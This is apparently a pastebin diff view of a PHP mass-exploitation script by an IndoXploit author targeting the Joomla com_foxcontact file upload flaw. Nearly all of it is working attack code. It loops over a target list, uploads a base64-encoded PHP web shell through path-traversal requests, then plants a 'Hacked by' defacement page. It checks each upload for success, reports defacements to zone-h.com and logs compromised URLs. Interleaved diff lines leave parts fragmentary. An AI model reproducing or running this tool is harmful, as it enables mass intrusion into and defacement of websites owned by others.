SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | /** | |
| 3 | ||
| 4 | Joomla Component com_foxcontact Arbitrary File Upload | |
| 5 | https://cxsecurity.com/issue/WLB-2016050072 | |
| 6 | ||
| 7 | Auto Exploiter (Shell Upload, Auto Deface, and Auto Submit Zone -H) | |
| 8 | Coded by: L0c4lh34rtz - IndoXploit | |
| 9 | http://www.indoxploit.or.id/2017/12/joomla-component-comfoxcontact.html | |
| 10 | ||
| 11 | */ | |
| 12 | ||
| 13 | error_reporting(0); | |
| 14 | set_time_limit(0); | |
| 15 | ||
| 16 | Class IDX_Foxcontact {
| |
| 17 | public $url; | |
| 18 | private $hacker; | |
| 19 | private $file = []; | |
| 20 | - | /* Nick Hacker Kalian / Nick Zone -H Kalian */ |
| 20 | + | |
| 21 | - | /* Pastikan dalam script deface kalian terdapat kata HACKED */ |
| 21 | + | |
| 22 | - | private $hacker = "L0c4lh34rtz"; |
| 22 | + | |
| 23 | ||
| 24 | - | /* script uploader, sebaiknya jangan di otak-atik */ |
| 24 | + | |
| 25 | - | private $uploader = 'R0lGODlhOw0KPGh0bWw+DQo8dGl0bGU+VXBsb2FkZXIgQnkgSW5kb1hwbG9pdCBCT1Q8L3RpdGxlPg0KPHA+PD9waHAgZWNobyAnPGI+Jy5waHBfdW5hbWUoKS4nPC9iPic7ID8+PGJyPg0KPD9waHAgZWNobyAnPGI+Jy5nZXRjd2QoKS4nPC9iPic7ID8+PC9wPg0KPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZHhfZmlsZSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkJyBuYW1lPSd1cGxvYWQnPg0KPC9mb3JtPg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWyd1cGxvYWQnXSkpIHsgaWYoQGNvcHkoJF9GSUxFU1snaWR4X2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPk9LPC9iPl0nOyB9IGVsc2UgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPkZBSUxFRDwvYj4nOyB9IH0gPz4='; |
| 25 | + | |
| 26 | ||
| 27 | - | /* script deface, ubah bagian ini ke base64 script deface kalian */ |
| 27 | + | |
| 28 | - | private $deface = 'DQo8IS0tDQphZG1pbkBpbmRveHBsb2l0Lm9yLmlkDQoNCiNQYXRjaCBZb3VyIFN5c3RlbQ0KLS0+DQo8IURPQ1RZUEUgSFRNTD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+SGFja2VkIGJ5IEwwYzRsaDM0cnR6fjwvdGl0bGU+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkwwYzRsaDM0cnR6ICNJbmRvWHBsb2l0ICNTYW5qdW5nYW5KaXdhIj4NCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJJbmRvWHBsb2l0LCBTYW5qdW5nYW4gSml3YSwgSGFja2VkIGJ5IEluZG9YcGxvaXQsIEhhY2tlZCBieSBMMGM0bGgzNHJ0eiI+DQo8bWV0YSBwcm9wZXJ0eT0ib2c6a2V5d29yZHMiIGNvbnRlbnQ9IkluZG9YcGxvaXQsIFNhbmp1bmdhbiBKaXdhLCBIYWNrZWQgYnkgSW5kb1hwbG9pdCwgSGFja2VkIGJ5IEwwYzRsaDM0cnR6Ij4NCjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPG1ldGEgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vZmxhLmZnLWEuY29tL2ZsYWdzL2luZG9uZXNpYS1mbGFnLWJ1dHRvbi0yLnBuZyI+DQo8c3R5bGU+DQpoMSB7DQoJbWFyZ2luLXRvcDogNGVtOw0KCWZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQoJZm9udC1zaXplOiA0NXB4Ow0KfQ0KDQpib2R5IHsgDQoJYmFja2dyb3VuZDogYmxhY2s7IA0KCXRleHQtYWxpZ246IGNlbnRlcjsgDQoJdGV4dC1zaGFkb3c6IDFweCAxcHggIzE3YTI0ZjsgDQoJZm9udC1mYW1pbHk6Q291cmllciBOZXc7IA0KCWNvbG9yOiB3aGl0ZTsgDQp9IA0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPkhhY2tlZCBieSBMMGM0bGgzNHJ0ejwvaDE+DQo8cD48Zm9udCBzaXplPSIyIj4jPG1hcnF1ZWUgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSI0IiB3aWR0aD0iNDAlIj5JbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EgLSBEZXBvayBDeWJlciBTZWN1cml0eSA8L21hcnF1ZWU+IzwvZm9udD48L3A+DQo8aWZyYW1lIHNyYz0iaHR0cDovL3d3dy55b3V0dWJlLmNvbS9lbWJlZC9Fem14N21VNnF0Zz9yZWw9MCZhbXA7YXV0b3BsYXk9MSZhbXA7bG9vcD0xJmFtcDtwbGF5bGlzdD1Fem14N21VNnF0ZyIgZnJhbWVib3JkZXI9IjAiIGhlaWdodD0iMSIgd2lkdGg9IjEiPjwvaWZyYW1lPg0KPC9ib2R5Pg0KPC9odG1sPg0KPG5vc2NyaXB0Pg0KPCEtLQ=='; |
| 28 | + | |
| 29 | /* Nick Hacker Kalian / Nick Zone -H Kalian */ | |
| 30 | - | |
| 30 | + | /* Pastikan dalam script deface kalian terdapat kata HACKED */ |
| 31 | $this->hacker = "L0c4lh34rtz"; | |
| 32 | } | |
| 33 | ||
| 34 | public function randomFileName() {
| |
| 35 | $characters = implode("", range(0,9)).implode("", range("A","Z")).implode("", range("a","z"));
| |
| 36 | $generate = substr(str_shuffle($characters), 0, rand(4, 8)); | |
| 37 | ||
| 38 | $prefixFilename = "\x69\x6e\x64\x6f\x78\x70\x6c\x6f\x69\x74"."_"; | |
| 39 | return $prefixFilename.$generate; | |
| 40 | } | |
| 41 | - | public function validUrl() {
|
| 41 | + | |
| 42 | - | if(!preg_match("/^http:\/\//", $this->url) AND !preg_match("/^https:\/\//", $this->url)) {
|
| 42 | + | |
| 43 | - | $url = "http://".$this->url; |
| 43 | + | |
| 44 | - | return $url; |
| 44 | + | |
| 45 | curl_setopt($ch, CURLOPT_URL, $url); | |
| 46 | - | return $this->url; |
| 46 | + | |
| 47 | //curl_setopt($ch, CURLOPT_VERBOSE, TRUE); | |
| 48 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); | |
| 49 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); | |
| 50 | curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); | |
| 51 | curl_setopt($ch, CURLOPT_TIMEOUT, 5); | |
| 52 | ||
| 53 | if($data !== null) {
| |
| 54 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); | |
| 55 | curl_setopt($ch, CURLOPT_POST, TRUE); | |
| 56 | curl_setopt($ch, CURLOPT_POSTFIELDS, $data); | |
| 57 | } | |
| 58 | ||
| 59 | if($headers !== null) {
| |
| 60 | curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); | |
| 61 | } | |
| 62 | ||
| 63 | if($cookie === true) {
| |
| 64 | curl_setopt($ch, CURLOPT_COOKIE, TRUE); | |
| 65 | curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt"); | |
| 66 | curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt"); | |
| 67 | } | |
| 68 | ||
| 69 | $exec = curl_exec($ch); | |
| 70 | $info = curl_getinfo($ch); | |
| 71 | ||
| 72 | curl_close($ch); | |
| 73 | ||
| 74 | return (object) [ | |
| 75 | "response" => $exec, | |
| 76 | "info" => $info | |
| 77 | ]; | |
| 78 | ||
| 79 | } | |
| 80 | ||
| 81 | public function getId() {
| |
| 82 | $url = $this->url; | |
| 83 | $getContent = $this->curl($url)->response; | |
| 84 | preg_match_all("/<a name=\"cid_(.*?)\">/", $getContent, $cid);
| |
| 85 | preg_match_all("/<a name=\"mid_(.*?)\">/", $getContent, $mid);
| |
| 86 | ||
| 87 | return (object) [ | |
| 88 | "cid" => ($cid[1][0] === NULL ? 0 : $cid[1][0]), | |
| 89 | "mid" => ($mid[1][0] === NULL ? 0 : $mid[1][0]), | |
| 90 | ]; | |
| 91 | } | |
| 92 | ||
| 93 | public function exploit() {
| |
| 94 | $getCid = $this->getId()->cid; | |
| 95 | $getMid = $this->getId()->mid; | |
| 96 | ||
| 97 | $url = (object) parse_url($this->url); | |
| 98 | ||
| 99 | /* script uploader, sebaiknya jangan di otak-atik */ | |
| 100 | $post = base64_decode('R0lGODlhOw0KPGh0bWw+DQo8dGl0bGU+VXBsb2FkZXIgQnkgSW5kb1hwbG9pdCBCT1Q8L3RpdGxlPg0KPHA+PD9waHAgZWNobyAnPGI+Jy5waHBfdW5hbWUoKS4nPC9iPic7ID8+PGJyPg0KPD9waHAgZWNobyAnPGI+Jy5nZXRjd2QoKS4nPC9iPic7ID8+PC9wPg0KPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZHhfZmlsZSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkJyBuYW1lPSd1cGxvYWQnPg0KPC9mb3JtPg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWyd1cGxvYWQnXSkpIHsgaWYoQGNvcHkoJF9GSUxFU1snaWR4X2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPk9LPC9iPl0nOyB9IGVsc2UgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPkZBSUxFRDwvYj4nOyB9IH0gPz4=');
| |
| 101 | ||
| 102 | /* script deface, ubah bagian ini ke base64 script deface kalian */ | |
| 103 | $post2 = base64_decode('DQo8IS0tDQphZG1pbkBpbmRveHBsb2l0Lm9yLmlkDQoNCiNQYXRjaCBZb3VyIFN5c3RlbQ0KLS0+DQo8IURPQ1RZUEUgSFRNTD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+SGFja2VkIGJ5IEwwYzRsaDM0cnR6fjwvdGl0bGU+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkwwYzRsaDM0cnR6ICNJbmRvWHBsb2l0ICNTYW5qdW5nYW5KaXdhIj4NCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJJbmRvWHBsb2l0LCBTYW5qdW5nYW4gSml3YSwgSGFja2VkIGJ5IEluZG9YcGxvaXQsIEhhY2tlZCBieSBMMGM0bGgzNHJ0eiI+DQo8bWV0YSBwcm9wZXJ0eT0ib2c6a2V5d29yZHMiIGNvbnRlbnQ9IkluZG9YcGxvaXQsIFNhbmp1bmdhbiBKaXdhLCBIYWNrZWQgYnkgSW5kb1hwbG9pdCwgSGFja2VkIGJ5IEwwYzRsaDM0cnR6Ij4NCjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPG1ldGEgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vZmxhLmZnLWEuY29tL2ZsYWdzL2luZG9uZXNpYS1mbGFnLWJ1dHRvbi0yLnBuZyI+DQo8c3R5bGU+DQpoMSB7DQoJbWFyZ2luLXRvcDogNGVtOw0KCWZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQoJZm9udC1zaXplOiA0NXB4Ow0KfQ0KDQpib2R5IHsgDQoJYmFja2dyb3VuZDogYmxhY2s7IA0KCXRleHQtYWxpZ246IGNlbnRlcjsgDQoJdGV4dC1zaGFkb3c6IDFweCAxcHggIzE3YTI0ZjsgDQoJZm9udC1mYW1pbHk6Q291cmllciBOZXc7IA0KCWNvbG9yOiB3aGl0ZTsgDQp9IA0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPkhhY2tlZCBieSBMMGM0bGgzNHJ0ejwvaDE+DQo8cD48Zm9udCBzaXplPSIyIj4jPG1hcnF1ZWUgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSI0IiB3aWR0aD0iNDAlIj5JbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EgLSBEZXBvayBDeWJlciBTZWN1cml0eSA8L21hcnF1ZWU+IzwvZm9udD48L3A+DQo8aWZyYW1lIHNyYz0iaHR0cDovL3d3dy55b3V0dWJlLmNvbS9lbWJlZC9Fem14N21VNnF0Zz9yZWw9MCZhbXA7YXV0b3BsYXk9MSZhbXA7bG9vcD0xJmFtcDtwbGF5bGlzdD1Fem14N21VNnF0ZyIgZnJhbWVib3JkZXI9IjAiIGhlaWdodD0iMSIgd2lkdGg9IjEiPjwvaWZyYW1lPg0KPC9ib2R5Pg0KPC9odG1sPg0KPG5vc2NyaXB0Pg0KPCEtLQ==');
| |
| 104 | ||
| 105 | $headers = [ | |
| 106 | "X-Requested-With: XMLHttpRequest", | |
| 107 | "X-File-Name: ".$this->file->shell, | |
| 108 | "Content-Type: image/jpeg" | |
| 109 | ]; | |
| 110 | ||
| 111 | $vuln = [ | |
| 112 | $url->scheme."://".$url->host."/components/com_foxcontact/lib/file-uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell, | |
| 113 | $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell, | |
| 114 | $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell, | |
| 115 | $url->scheme."://".$url->host."/components/com_foxcontact/lib/uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell, | |
| 116 | ]; | |
| 117 | ||
| 118 | foreach($vuln as $v) {
| |
| 119 | $this->curl($v, $post, $headers); | |
| 120 | } | |
| 121 | ||
| 122 | $shell = $url->scheme."://".$url->host."/components/com_foxcontact/".$this->file->shell; | |
| 123 | $check = $this->curl($shell)->response; | |
| 124 | if(preg_match("/Uploader By IndoXploit BOT/i", $check)) {
| |
| 125 | print "[+] Shell OK: ".$shell."\n"; | |
| 126 | $this->save($shell); | |
| 127 | } else {
| |
| 128 | print "[-] Shell Failed\n"; | |
| 129 | - | $this->curl($v, base64_decode($this->uploader), $headers); |
| 129 | + | |
| 130 | ||
| 131 | $vuln = [ | |
| 132 | $url->scheme."://".$url->host."/components/com_foxcontact/lib/file-uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface, | |
| 133 | $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface, | |
| 134 | $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface, | |
| 135 | $url->scheme."://".$url->host."/components/com_foxcontact/lib/uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface, | |
| 136 | ]; | |
| 137 | ||
| 138 | foreach($vuln as $v) {
| |
| 139 | $this->curl($v, $post2, $headers); | |
| 140 | } | |
| 141 | ||
| 142 | $deface = $url->scheme."://".$url->host."/".$this->file->deface; | |
| 143 | $check = $this->curl($deface)->response; | |
| 144 | if(preg_match("/hacked/i", $check)) {
| |
| 145 | print "[+] Deface OK: ".$deface."\n"; | |
| 146 | $this->zoneh($deface); | |
| 147 | $this->save($deface); | |
| 148 | } else {
| |
| 149 | - | $this->curl($v, base64_decode($this->deface), $headers); |
| 149 | + | |
| 150 | } | |
| 151 | } | |
| 152 | ||
| 153 | public function zoneh($url) {
| |
| 154 | $post = $this->curl("http://www.zone-h.com/notify/single", "defacer=".$this->hacker."&domain1=$url&hackmode=1&reason=1&submit=Send",null,false);
| |
| 155 | ||
| 156 | if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post->response)) {
| |
| 157 | print "[+] Zone-H ($url) [OK]\n"; | |
| 158 | } else {
| |
| 159 | print "[+] Zone-H ($url) [FAILED]\n"; | |
| 160 | } | |
| 161 | } | |
| 162 | ||
| 163 | public function save($isi) {
| |
| 164 | $handle = fopen("result_foxcontact.txt", "a+");
| |
| 165 | - | if(preg_match("/color=\"red\">(.*?)<\/font><\/li>/i", $post->response, $matches)) {
|
| 165 | + | |
| 166 | - | if($matches[1] === "ERROR") {
|
| 166 | + | |
| 167 | - | preg_match("/<font color=\"red\">ERROR:<br\/>(.*?)<br\/>/i", $post->response, $matches2);
|
| 167 | + | |
| 168 | - | print "[-] Zone-H ($url) [ERROR: ".$matches2[1]."]\n\n"; |
| 168 | + | |
| 169 | - | } else {
|
| 169 | + | public function __destruct() {
|
| 170 | - | print "[+] Zone-H ($url) [OK]\n\n"; |
| 170 | + | print "\n\n |
| 171 | - | } |
| 171 | + | "; |
| 172 | } | |
| 173 | } | |
| 174 | ||
| 175 | $fox = new IDX_Foxcontact(); | |
| 176 | ||
| 177 | if(!isset($argv[1])) die("!! Usage: php ".$argv[0]." target.txt");
| |
| 178 | if(!file_exists($argv[1])) die("!! File target ".$argv[1]." tidak di temukan!!");
| |
| 179 | $open = explode("\n", file_get_contents($argv[1]));
| |
| 180 | ||
| 181 | foreach($open as $list) {
| |
| 182 | $fox->url = trim($list); | |
| 183 | print "[+] Exploiting ".parse_url($fox->url, PHP_URL_HOST)."\n"; | |
| 184 | $fox->exploit(); | |
| 185 | } |